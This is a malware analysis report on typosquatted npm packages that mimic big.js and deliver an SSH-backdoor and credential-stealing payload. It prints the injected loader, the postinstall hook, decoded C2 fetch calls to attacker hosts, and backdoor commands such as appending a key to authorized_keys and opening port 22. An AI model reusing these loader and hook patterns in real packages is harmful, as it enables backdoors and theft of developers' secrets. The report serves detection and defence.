big.js Typosquat Campaign Implants SSH Backdoors

TL;DR

Three malicious npm packages, cjs-biginteger, sjs-biginteger, and bjs-biginteger, typosquat big.js across three throwaway accounts: ca.r.lane.es1.2.6 (~March 20, 2026), vanes.s.p.orit.a (April 7), and a.l.l.a.nh.orca0.7 (~April 9). Each carries a re-obfuscated copy of the same payload. All three inject a five-line loader into big.js at line 605 and pull in a malicious dependency (ts-lint-builds / sjs-lint-build1 / bjs-lint-builder) whose postinstall hook runs the same payload. Either trigger fetches the attacker’s SSH public key from a C2 server, appends it to ~/.ssh/authorized_keys, opens firewall port 22, and then exfiltrates SSH keys, .env files, Solana wallet files (id.json, config.toml), and system fingerprints to two Vercel-hosted C2 domains impersonating Cloudflare.

Impact:

• Implants an SSH backdoor by injecting the attacker’s public key into ~/.ssh/authorized_keys
• Opens firewall port 22 via sudo ufw allow 22/tcp and enables the firewall
• Runs sudo chown -R to fix SSH directory permissions
• Exfiltrates existing SSH keys, .env files, id.json (Solana wallets), and config.toml files
• Harvests environment variables (USER, USERNAME, LOGNAME, HOME)
• Fingerprints the system (public IP, platform, CPU info, username)
• Targets Linux, macOS, FreeBSD, OpenBSD, SunOS, AIX, and Windows

Indicators of Compromise (IoC):

Analysis

Package Overview

Two versions landed on npm within 40 minutes on April 7, 2026: 5.0.5 at 19:32 UTC and 5.0.6 at 20:13 UTC. The publisher vanes.s.p.orit.a owns two packages total: sjs-biginteger and sjs-lint-build1.

The attacker copied big.js metadata verbatim: author name (Michael Mclaughlin), repository URL, homepage, bug tracker, and funding links:

1
"author": {
2
  "name": "Michael Mclaughlin",
3
  "email": "M8ch88l@gmail.com"
4
},
5
"repository": {
6
  "type": "git",
7
  "url": "https://github.com/MikeMcl/big.js.git"
8
}

The npm registry shows the real publisher:

1
npm view sjs-biginteger maintainers
2
# vanes.s.p.orit.a <vanes.s.p.orit.a@googlemail.com>

We downloaded big.js@7.0.1 from the npm registry and diffed it against the malicious file. Past the whitespace and indentation churn (consistent with a formatter pass), only one change is semantic: five lines at line 605 of the top-level IIFE body.

1
// diff legit-7.0.1/package/big.js sjs-biginteger-5.0.6/package/big.js
2
603a605,609
3
> try {
4
>   const doc = require("sjs-lint-build1");
5
>   doc.from_str().then(e => { }).catch(e => { })
6
> } catch (error) {
7
> }

This injection runs at import time. It gives the attacker a second execution trigger independent of the postinstall hook: any application that later does require("sjs-biginteger") fires the payload again.

Diffing sjs-biginteger@5.0.5 against 5.0.6 (diff -rq v5.0.5/package v5.0.6/package), big.js, big.mjs, LICENCE.md, and README.md are byte-identical across both versions. Only package.json changed:

1
"sjs-lint-build1": "file:../module-npm-doc-build-v2.1"
2
"sjs-lint-build1": "^1.0.4"

5.0.5 referenced the payload dependency via a local filesystem path (a leftover from the attacker’s development environment), so it failed to resolve on any victim machine. 5.0.6, published 41 minutes later, is the operative version.

Execution Trigger

sjs-biginteger declares a single dependency:

1
"dependencies": {
2
  "sjs-lint-build1": "^1.0.4"
3
}

sjs-lint-build1 appeared one minute before sjs-biginteger, from the same account. Its package.json:

1
{
2
  "name": "sjs-lint-build1",
3
  "version": "1.0.4",
4
  "main": "index.js",
5
  "scripts": {
6
    "postinstall": "node test.js"
7
  },
8
  "dependencies": {
9
    "axios": "^1.7.0",
10
    "child_process": "^1.0.2",
11
    "form-data": "^4.0.0",
12
    "os": "^0.1.2"
13
  }
14
}

npm install sjs-biginteger resolves sjs-lint-build1, installs it, and fires the postinstall hook: node test.js. The 7.2 KB test.js imports from index.js (58.4 KB) and calls the exported from_str_2 function:

1
// sjs-lint-build1/test.js (deobfuscated structure)
2
const { from_str_2 } = require('.');
3
async function main() {
4
  try {
5
    await from_str_2();
6
  } catch (e) {}
7
}
8
main();

index.js exports two entry points, both triggering the same payload infrastructure with slightly different scopes:

The runtime path (from_str) adds a pre-step that walks the current working directory for id.json, config.toml, Config.toml, env, and .env before the broad scan runs. This catches developers who import the package during local development. Whatever project they are working on, its .env goes out first.

Obfuscation

Both files use a custom base91-like string encoding with 35 distinct shuffled alphabets. Each function body embeds its own alphabet and decoder; no single key decodes all strings. The lookup table in index.js holds 299 encoded entries resolved through multiple decoder functions at runtime.

Sample obfuscation:

1
// sjs-lint-build1/index.js (original obfuscated form)
2
const _uFTLb = [0x0, 0x1, 0x8, 0xff, "length", "undefined", ...];
3
function HRKFas(PzH00eY) {
4
  var dsvyP2S = "wYUPLTtrOFHDKXAfQZqoWBJlmvM@*$GVa5kb#h+n\"eg7u/2>...";
5
  // base91 decode using shuffled alphabet
6
}

We replayed the basE91 decoder in Python against the shared lookup table, pairing each call site with the 91-character alphabet nearest to it in source order. About a hundred unique entries decode to meaningful identifiers: URLs, shell commands, property names, file paths. That is enough to reconstruct the full attack surface without running a line of the package.

Malicious Payload

The payload in index.js imports six Node.js modules:

1
// sjs-lint-build1/index.js (extracted require() calls)
2
require('axios');
3
require('child_process');
4
require('form-data');
5
require('fs');
6
require('os');
7
require('path');

Phase 1: C2 Configuration Fetch

Three parallel fetch() requests fire at startup:

1
// sjs-lint-build1/index.js (deobfuscated)
2
const [r1, r2, r3] = await Promise.all([
3
  fetch('https://cloudflareinsights.vercel.app/api/ssh-key'),
4
  fetch('https://cloudflareinsights.vercel.app/api/scan-patterns'),
5
  fetch('https://cloudflareinsights.vercel.app/api/block-patterns'),
6
]);
7
const [{ msg: sshKey }, { scanPatterns }, { blockPatterns }] = await Promise.all([r1.json(), r2.json(), r3.json()]);

The msg field from /api/ssh-key carries the attacker’s public SSH key. scanPatterns and blockPatterns control which directories to enumerate and which to skip. The payload fetches this configuration from C2 at runtime, so the attacker can retarget victims without republishing the package. A new exfiltration pattern takes effect on the next install.

During analysis on 2026-04-09 the endpoint was live and returned:

1
{ "msg": "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFYMx8MqdYTD/aZjqxmXo+9460+9EvsSjfiy9YAU+xwY support@polymarket.com" }

The key comment support@polymarket.com is deliberate social engineering. A Solana developer inspecting ~/.ssh/authorized_keys during a routine audit may mistake it for a Polymarket support integration and leave it in place. That is the profile the operator wants.

Phase 2: SSH Backdoor Implantation

The payload checks for ~/.ssh, creates it if missing, and appends the attacker’s key to authorized_keys:

1
// Decoded strings from index.js showing SSH backdoor logic
2
[0x9b]  HOME
3
[0x9c]  /.ssh
4
[0x9d]  existsSync
5
[0x9e]  mkdirSync
6
[0x9f]  mode
7
[0xa2]  authorized_keys
8
[0xa6]  appendFileSync
9
[0xa7]  sudo chown -R
10
[0xa8]  sudo ufw enable
11
[0xab]  sudo ufw allow 22/tcp

The code path:

1. Read process.env.HOME and append /.ssh
2. Create the directory with fs.mkdirSync if it doesn’t exist (with appropriate mode)
3. Append the attacker’s SSH key (fetched from C2) to authorized_keys via fs.appendFileSync
4. Run sudo chown -R to fix ownership of the SSH directory
5. Run sudo ufw allow 22/tcp to open the SSH port through the firewall
6. Run sudo ufw enable to activate the firewall rules

CI/CD environments and Docker containers run as root or with passwordless sudo. If those sudo calls succeed, the attacker has persistent SSH access.

Phase 3: Data Collection

The payload branches on process.platform, covering six Unix variants (linux, darwin, freebsd, openbsd, sunos, aix) and Windows:

1
// Windows-specific decoded strings
2
[0x84]  wmic logicaldisk get name
3
[0x8b]  ^[A-Z]:$
4
[0x90]  C:\Users\

On Windows, wmic logicaldisk get name enumerates drives, then the payload walks C:\Users\ for credential files. On Unix, os.homedir() sets the starting point.

Targeted files:

The payload walks directories with fs.readdirSync (withFileTypes) and path.join, following the scanPatterns and blockPatterns from the C2.

Phase 4: Exfiltration

The payload uploads collected files via axios.post to two endpoints:

1
// Decoded exfiltration strings
2
[0xc4]  basename
3
[0xc5]  file.bin
4
[0xc6]  post
5
[0xc8]  Content-Type
6
[0xc9]  application/octet-stream
7
[0xca]  Content-Disposition
8
[0xcb]  attachment; filename="
9
[0xd7]  https://cloudflarefirewall.vercel.app/api/v1
10
[0x124] https://cloudflareinsights.vercel.app/api/v1

Each file goes out as binary application/octet-stream with a Content-Disposition header. Each upload also carries a metadata block:

1
// Exfiltration metadata fields
2
[0xf8]  username
3
[0x100] created
4
[0x101] publicIp
5
[0x102] platform
6
[0xff]  stringify
7
[0xfe]  meta

The payload JSON-serializes the username, public IP, platform, and a timestamp, then attaches that block to every upload. Two C2 domains give the attacker redundancy: cloudflareinsights[.]vercel[.]app and cloudflarefirewall[.]vercel[.]app.

C2 Infrastructure

Two Vercel-hosted domains, both named to pass casual inspection of network logs:

Vercel’s free tier requires no identity verification, making it a common choice for throwaway C2 infrastructure. The cloudflareinsights and cloudflarefirewall names mimic legitimate Cloudflare products.

Attribution

The sjs-biginteger behaviour overlaps heavily with the dev-protocol / Polymarket trading bot supply chain attack that StepSecurity documented on 2026-02-26. The indicators below point to a follow-on wave run by the same operator or a close collaborator. Static artefacts alone cannot prove operator identity.

The commander host cloudflareinsights[.]vercel[.]app is reused byte-for-byte across both waves, and every endpoint path (/api/v1, /api/scan-patterns, /api/block-patterns) matches. The file-exfil hostname rotated (cloudflareguard → cloudflarefirewall) but kept the same naming pattern: a Vercel subdomain impersonating a Cloudflare product.

Two things changed between waves:

1. Delivery vector. The February wave was seeded through the hijacked dev-protocol GitHub organisation; this one is a direct npm typosquat published by a throwaway account. This fits a predictable evolution: after a vector burns, switch channels but keep the payload.
2. Obfuscator. The February samples used a J2TEAM-style obfuscator; sjs-lint-build1 uses a scope-nested basE91 scheme with 35 distinct alphabets in index.js, each scoped to its own function body. This likely evades signatures trained on the earlier samples.

The sjs-lint-build1 package name is also notable: it echoes the earlier lint-builder payload name. Package naming is not being randomised between waves — the operator appears to be iterating on a convention.

Hunting pivot. Any package that contacts cloudflareinsights[.]vercel[.]app should be treated as part of this cluster regardless of its npm metadata. The support@polymarket.com SSH key comment is a durable host-based IoC worth alerting on across Solana developer fleets.

Parallel Wave: bjs-*

A second wave surfaced approximately two days after the sjs-* packages from a different throwaway account: a.l.l.a.nh.orca0.7. The pattern is identical: bjs-biginteger@5.0.6 typosquats big.js and pulls in bjs-lint-builder@1.0.5.

The dropper package.json copies the same big.js metadata verbatim (author, repository, version 5.0.6, ^1.0.4 dependency range). The big.js injection at line 606 is byte-identical except for the dependency name:

1
// diff sjs-biginteger-5.0.6/big.js bjs-biginteger-5.0.6/big.js
2
606c606
3
<     const doc = require("sjs-lint-build1");
4
---
5
>     const doc = require("bjs-lint-builder");

The payload packages (bjs-lint-builder@1.0.5 and bjs-lint-builders@1.1.0) declare the same four dependencies (axios, child_process, form-data, os) and fire the same postinstall: node test.js hook. Both payload packages are byte-identical: same index.js (63,658 bytes), same test.js. Publishing two copies of the payload gives the attacker a fallback if one gets taken down.

The payload itself was re-obfuscated. Variable names, encoded string tables, and basE91 alphabets differ from the sjs-* versions. The index.js grew from 58.4 KB to 63.6 KB. But the structure is unchanged: scope-nested basE91 decoding, the same from_str / from_str_2 export convention, and the same require(".") resolution in test.js.

The account naming pattern (dotted strings resembling obfuscated names) and the package naming convention ([prefix]-biginteger → [prefix]-lint-build*) are consistent across both waves. The operator is rotating publisher accounts while reusing the same toolchain.

Earlier Wave: cjs-*

A third wave predates both sjs-* and bjs-*. Account ca.r.lane.es1.2.6 published cjs-biginteger@5.0.5 and its payload dependency ts-lint-builds@1.0.5 approximately March 20, 2026, roughly two weeks before the sjs-* packages.

The dropper is structurally identical: same big.js metadata spoofing, same five-line injection at line 606 calling doc.from_str(), same postinstall: node test.js hook, same four payload dependencies (axios, child_process, form-data, os). The only big.js diff:

1
// diff sjs-biginteger-5.0.6/big.js cjs-biginteger-5.0.5/big.js
2
606c606
3
<     const doc = require("sjs-lint-build1");
4
---
5
>     const doc = require("ts-lint-builds");

Two differences stand out from the later waves:

Different obfuscator. The sjs-* and bjs-* payloads use a basE91 scheme with scope-nested alphabets. The cjs-* payload uses a Function() constructor wrapper with generator functions (function*) and switch/while control-flow flattening. The index.js is 189 KB (vs 58-64 KB for the later waves), test.js is 27 KB (vs ~7 KB), and the encoded string table holds 712 entries (vs 405-433). This is consistent with an obfuscator rotation between waves.

Payload name breaks the prefix convention. cjs-biginteger depends on ts-lint-builds, not cjs-lint-build*. The later waves tightened the naming: sjs-biginteger → sjs-lint-build1, bjs-biginteger → bjs-lint-builder. The operator refined the pattern after the first wave.

The progression from cjs-* to sjs-*/bjs-* shows an operator iterating on their toolchain: switching obfuscators, shrinking payload size, and standardizing package naming conventions across waves.

Dynamic Analysis

We run eBPF-based dynamic analysis during sandboxed npm install, capturing syscall events and network connections. Sandbox execution of sjs-biginteger@5.0.6 confirmed both behaviors found in static analysis.

Syscall Events

Two rules triggered during the postinstall hook. The process chain sh -c node test.js matches the sjs-lint-build1 postinstall script, running as root inside the sandbox container:

“Adding ssh keys to authorized_keys” fired at 20:21:47 UTC when node test.js opened /root/.ssh/authorized_keys via the openat syscall, confirming the appendFileSync call found in static analysis. “Read ssh information” fired 23 milliseconds later when the same process read the /root/.ssh directory for exfiltration.

Note the ordering: the payload writes the attacker’s key first, then reads existing keys. Backdoor before exfiltration.

Network Connections

The sandbox captured all outbound IP connections during the npm install lifecycle, including legitimate npm registry traffic alongside malicious C2 communication:

This table contains all connections during install, not just malicious traffic. npm registry resolution, DNS lookups, and package downloads generate their own connections. The 104.16.x.34 range belongs to Cloudflare, which fronts both Vercel (the C2 host) and the npm registry (registry.npmjs.org). Separating C2 traffic from legitimate npm traffic by IP alone is not possible since both route through Cloudflare. The 64.29.17.x and 216.198.79.x addresses could be DNS resolvers or additional CDN edges.

The network data does show that the install made HTTPS connections (port 443) to Cloudflare-fronted services beyond what a normal big.js install requires. A package with zero runtime network dependencies generating 15+ outbound HTTPS connections stands out. Combined with the syscall events showing SSH file access, the connection volume matches the multi-phase attack: configuration fetch, file collection, upload.

Conclusion

The authorized_keys injection, firewall manipulation, and ownership changes establish persistent remote access that survives credential rotation unless you remove the injected key. If you installed this package:

1. Check ~/.ssh/authorized_keys for unrecognized keys and remove them
2. Review firewall rules for unexpected port 22 allowances
3. Rotate all SSH keys and credentials stored in .env, id.json, and config.toml files
4. Audit CI/CD systems where the package may have been installed with elevated privileges

References

• sjs-biginteger on npm
• sjs-lint-build1 on npm
• bjs-biginteger on npm
• bjs-lint-builder on npm
• bjs-lint-builders on npm
• cjs-biginteger on npm
• ts-lint-builds on npm
• big.js (legitimate package)